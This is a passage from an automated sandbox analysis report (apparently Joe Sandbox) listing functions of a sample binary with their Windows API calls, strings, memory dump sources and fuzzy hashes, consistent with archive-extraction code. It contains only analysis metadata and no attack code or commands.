                  • SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00EFB971
                  • EndDialog.USER32(?,00000006), ref: 00EFB984
                  • GetDlgItem.USER32(?,0000006C), ref: 00EFB9A0
                  • SetFocus.USER32(00000000), ref: 00EFB9A7
                  • SetDlgItemTextW.USER32(?,00000065,?), ref: 00EFB9E1
                  • SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00EFBA18
                  • FindFirstFileW.KERNEL32(?,?), ref: 00EFBA2E
                  • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00EFBA4C
                  • FileTimeToSystemTime.KERNEL32(?,?), ref: 00EFBA5C
                  • GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00EFBA78
                  • GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00EFBA94
                  • _swprintf.LIBCMT ref: 00EFBAC4
                    • Part of subcall function 00EE400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00EE401D
                  • SetDlgItemTextW.USER32(?,0000006A,?), ref: 00EFBAD7
                  • FindClose.KERNEL32(00000000), ref: 00EFBADE
                  • _swprintf.LIBCMT ref: 00EFBB37
                  • SetDlgItemTextW.USER32(?,00000068,?), ref: 00EFBB4A
                  • SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00EFBB67
                  • FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00EFBB87
                  • FileTimeToSystemTime.KERNEL32(?,?), ref: 00EFBB97
                  • GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00EFBBB1
                  • GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00EFBBC9
                  • _swprintf.LIBCMT ref: 00EFBBF5
                  • SetDlgItemTextW.USER32(?,0000006B,?), ref: 00EFBC08
                  • _swprintf.LIBCMT ref: 00EFBC5C
                  • SetDlgItemTextW.USER32(?,00000069,?), ref: 00EFBC6F
                    • Part of subcall function 00EFA63C: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00EFA662
                    • Part of subcall function 00EFA63C: GetNumberFormatW.KERNEL32(00000400,00000000,?,00F1E600,?,?), ref: 00EFA6B1
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
                  • String ID: %s %s$%s %s %s$REPLACEFILEDLG
                  • API String ID: 797121971-1840816070
                  • Opcode ID: 2ee616bb8ce54bf78650edf94be296fc316212aea082f80f5b6647de85d5aa5c
                  • Instruction ID: fc3311c8f7c7acf845735d671307aef50f739f8717b81695f63518a0c1b95833
                  • Opcode Fuzzy Hash: 2ee616bb8ce54bf78650edf94be296fc316212aea082f80f5b6647de85d5aa5c
                  • Instruction Fuzzy Hash: 1891C5B214834CBBD3219BA0DC49FFB77ECEB8A704F445819F749E2081D771A6049762
                  Function 00EE718C Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 296fileCOMMON
                  Download Yara Rule
                  APIs
                  • __EH_prolog.LIBCMT ref: 00EE7191
                  • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 00EE72F1
                  • CloseHandle.KERNEL32(00000000), ref: 00EE7301
                    • Part of subcall function 00EE7BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00EE7C04
                    • Part of subcall function 00EE7BF5: GetLastError.KERNEL32 ref: 00EE7C4A
                    • Part of subcall function 00EE7BF5: CloseHandle.KERNEL32(?), ref: 00EE7C59
                  • CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 00EE730C
                  • CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00EE741A
                  • DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00EE7446
                  • CloseHandle.KERNEL32(?), ref: 00EE7457
                  • GetLastError.KERNEL32 ref: 00EE7467
                  • RemoveDirectoryW.KERNEL32(?), ref: 00EE74B3
                  • DeleteFileW.KERNEL32(?), ref: 00EE74DB
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
                  • String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
                  • API String ID: 3935142422-3508440684
                  • Opcode ID: f2bbac903feabf62fda0b4bb390cdd16197dd68cb18e5b39d90e002ef357e760
                  • Instruction ID: cd54829c6c1e8fd44ffa5a4e3ac32d9c81249658d7673d9a0efe1bc00ab2bbbb
                  • Opcode Fuzzy Hash: f2bbac903feabf62fda0b4bb390cdd16197dd68cb18e5b39d90e002ef357e760
                  • Instruction Fuzzy Hash: 5CB1F37190425DABDF20DFA4DC41BEE7BB8AF04304F0444A9F999F7182E734AA49DB61
                  Function 00EE3281 Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 608COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: H_prolog_memcmp
                  • String ID: CMT$h%u$hc%u
                  • API String ID: 3004599000-3282847064
                  • Opcode ID: 0e7a8c0ce3a9e0f58ae5ad5c02b055b978fbe45d2ea08b98315f91196680d360
                  • Instruction ID: 2ab19b464fc1e25e6a884ddfa81ae801733dbf1345a64232435d8f690318c44a
                  • Opcode Fuzzy Hash: 0e7a8c0ce3a9e0f58ae5ad5c02b055b978fbe45d2ea08b98315f91196680d360
                  • Instruction Fuzzy Hash: A132C4715102C89FDF14DF75C889AEA37E5AF54304F04147EFD9AAB282DB70AA49CB60
                  Function 00F0D00E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: __floor_pentium4
                  • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                  • API String ID: 4168288129-2761157908
                  • Opcode ID: 2b4abcba1bf892a995af2d925e9849714a0cec6716034f824c77186785d285af
                  • Instruction ID: a49a76b061028c063b1b752d64571de32bfc89655b11eb2545894bace3f2032d
                  • Opcode Fuzzy Hash: 2b4abcba1bf892a995af2d925e9849714a0cec6716034f824c77186785d285af
                  • Instruction Fuzzy Hash: A0C26D72E086288FDB25CF68DD407E9B7B5EB84315F1545EAD80DE7280E774AE81AF40
                  Function 00EE27E8 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 794COMMON
                  Download Yara Rule
                  APIs
                  • __EH_prolog.LIBCMT ref: 00EE27F1
                  • _strlen.LIBCMT ref: 00EE2D7F
                    • Part of subcall function 00EF137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00EEB652,00000000,?,?,?,00010416), ref: 00EF1396
                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00EE2EE0
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
                  • String ID: CMT
                  • API String ID: 1706572503-2756464174
                  • Opcode ID: 0431aeab6061a93a0ea3aeaaa800dbbb311325a066dd7cb5fdfbb9a7f4c09008
                  • Instruction ID: 411a3c188256aaeb0cc199987d580ba9a9601018dad65a8f2f153b659c652468
                  • Opcode Fuzzy Hash: 0431aeab6061a93a0ea3aeaaa800dbbb311325a066dd7cb5fdfbb9a7f4c09008
                  • Instruction Fuzzy Hash: 5C6246716002C88FDF18DF35C8856EA3BE5EF54304F18557DEE9AAB282DB70A949CB50
                  Function 00F0866F Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00F08767
                  • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00F08771
                  • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00F0877E
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ExceptionFilterUnhandled$DebuggerPresent
                  • String ID:
                  • API String ID: 3906539128-0
                  • Opcode ID: e2410e8f89d106f12aec59db30da036796e138292a99c89787194d9950d5a383
                  • Instruction ID: ec670ea1434b6f5b3e4e9cdc689a4d434097109d47464bc2567a522216454773
                  • Opcode Fuzzy Hash: e2410e8f89d106f12aec59db30da036796e138292a99c89787194d9950d5a383
                  • Instruction Fuzzy Hash: 4231B575D0122DABCB21DF64D889BDCB7B8AF08310F5051EAE90CA7291EB309F859F45
                  Function 00F0AAA8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID:
                  • String ID: .
                  • API String ID: 0-248832578
                  • Opcode ID: 6cbe847fa27a66a089e139629c3261b81b55088a177064c85ebc10fb60d9771c
                  • Instruction ID: 9a33751de9c794a9ee997ff9bf26d7395d07fc8d307445f1462bfdfb2d2c4aae
                  • Opcode Fuzzy Hash: 6cbe847fa27a66a089e139629c3261b81b55088a177064c85ebc10fb60d9771c
                  • Instruction Fuzzy Hash: DE3107B1900209AFDB249E78CC84EFBBBBDDB85324F044198F519D72D1E6349D45EB50
                  Function 00F0CB60 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3f40ebe10d214b85774591126f504afcb75e73f030a81f23e755a653bb72e8d1
                  • Instruction ID: a1b3d8353b99b8f9887e09a50bcbafdeb5a8bf6ffcf37f2c2f4ad37e2233b2c7
                  • Opcode Fuzzy Hash: 3f40ebe10d214b85774591126f504afcb75e73f030a81f23e755a653bb72e8d1
                  • Instruction Fuzzy Hash: C6021E71E011199FDF14CFA9D8806ADFBF1EF88324F25826AD919E7384D731A941DB90
                  Function 00EFA63C Relevance: 3.0, APIs: 2, Instructions: 46COMMON
                  Download Yara Rule
                  APIs
                  • GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00EFA662
                  • GetNumberFormatW.KERNEL32(00000400,00000000,?,00F1E600,?,?), ref: 00EFA6B1
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: FormatInfoLocaleNumber
                  • String ID:
                  • API String ID: 2169056816-0
                  • Opcode ID: 0811d8355e07199a05703b4b3f490a9f9512557f81f778a81f1e1ffa1199a6fc
                  • Instruction ID: 0b58e71ff229e109c4adef71f67c41e508637a04aacf628db1d980dfab9fbf56
                  • Opcode Fuzzy Hash: 0811d8355e07199a05703b4b3f490a9f9512557f81f778a81f1e1ffa1199a6fc
                  • Instruction Fuzzy Hash: C1015E7661024CBADB108F64EC05FEB77BCEF59720F419422FA08A7191D3709A14D7A5
                  Function 00EE6EC9 Relevance: 3.0, APIs: 2, Instructions: 17windowCOMMON
                  Download Yara Rule
                  APIs
                  • GetLastError.KERNEL32(00EF117C,?,00000200), ref: 00EE6EC9
                  • FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00EE6EEA
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ErrorFormatLastMessage
                  • String ID:
                  • API String ID: 3479602957-0
                  • Opcode ID: f428845e7c813544561f8e1e30cdb09ada80433b6b8824ef49651208ebca22af
                  • Instruction ID: ebc8f2b87dcc718b392146001fb93da78bcb268ac2742924b51ea113e6937aa4
                  • Opcode Fuzzy Hash: f428845e7c813544561f8e1e30cdb09ada80433b6b8824ef49651208ebca22af
                  • Instruction Fuzzy Hash: 3BD0A7353D430ABFEA100A31CC05F673F906729BC6F10D510B312F80E0C5718114A614
                  Function 00F11194 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00F1118F,?,?,00000008,?,?,00F10E2F,00000000), ref: 00F113C1
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ExceptionRaise
                  • String ID:
                  • API String ID: 3997070919-0
                  • Opcode ID: b43d1daadf9938794cb8d2ba55de4e7e44fe2bb42ad8ab6c724f9f604cf89772
                  • Instruction ID: 2077f76c62fcaf18f8c226a2d97a2b7076281be7e136cdd1c8db5066d05a37e9
                  • Opcode Fuzzy Hash: b43d1daadf9938794cb8d2ba55de4e7e44fe2bb42ad8ab6c724f9f604cf89772
                  • Instruction Fuzzy Hash: 48B14D36610609DFD719CF28C48ABA57BE0FF45364F258658EAE9CF2A1C335E981DB40
                  Function 00EE407E Relevance: 1.6, Strings: 1, Instructions: 332COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID:
                  • String ID: gj
                  • API String ID: 0-4203073231
                  • Opcode ID: e0d5bc696f283a490545da9e5a936c7ae1a4e771094a739eafc8266a47388033
                  • Instruction ID: f0576fc2a22ed46571210e958ec721a9e114b91b9b88ee17c87bd11212d63800
                  • Opcode Fuzzy Hash: e0d5bc696f283a490545da9e5a936c7ae1a4e771094a739eafc8266a47388033
                  • Instruction Fuzzy Hash: 8BF1D2B1A083418FC748CF2AD880A5AFBE1BFCC208F15896EF598D7711E634E9558B56
                  Function 00EEACF5 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                  Download Yara Rule
                  APIs
                  • GetVersionExW.KERNEL32(?), ref: 00EEAD1A
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Version
                  • String ID:
                  • API String ID: 1889659487-0
                  • Opcode ID: 5904a79938f075af1bc20f2163f241307050fc287ca35c602f31721c79e5dcbf
                  • Instruction ID: 166b3f0ac3ced0511c680f0a7410dbb50ac834c66a2b08737a72fed14188646a
                  • Opcode Fuzzy Hash: 5904a79938f075af1bc20f2163f241307050fc287ca35c602f31721c79e5dcbf
                  • Instruction Fuzzy Hash: 66F067B190020C8BCB38DB18ED416E977B9F748309F2042A9E928937A4D770BD419EA2
                  Function 00EFF063 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                  Download Yara Rule
                  APIs
                  • SetUnhandledExceptionFilter.KERNEL32(Function_0001F070,00EFEAC5), ref: 00EFF068
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ExceptionFilterUnhandled
                  • String ID:
                  • API String ID: 3192549508-0
                  • Opcode ID: 8fba78c144d5bcb0459dad095678eb41a3e6ce37f8b0f328097c2fd15671f839
                  • Instruction ID: 14456287c7b8f7f6e79d07d816bd67cb68bd3127caf8e35b0b4f83dad5d2a0f6
                  • Opcode Fuzzy Hash: 8fba78c144d5bcb0459dad095678eb41a3e6ce37f8b0f328097c2fd15671f839
                  • Instruction Fuzzy Hash:
                  Function 00F0B710 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: HeapProcess
                  • String ID:
                  • API String ID: 54951025-0
                  • Opcode ID: fc070b9b8e0e3ab5583ce6142ca9b7342baef32ca12cd2eadc62bdbdd20fcf85
                  • Instruction ID: 0c505b6ddc79262b74cf68654dff2905bd27f5bec2fb5dcab038f55cebdad9d8
                  • Opcode Fuzzy Hash: fc070b9b8e0e3ab5583ce6142ca9b7342baef32ca12cd2eadc62bdbdd20fcf85
                  • Instruction Fuzzy Hash: 11A012745002048B83008F31590820935987601181306C1145404C1020D62080506F00
                  Function 00EF5C77 Relevance: .8, Instructions: 800COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
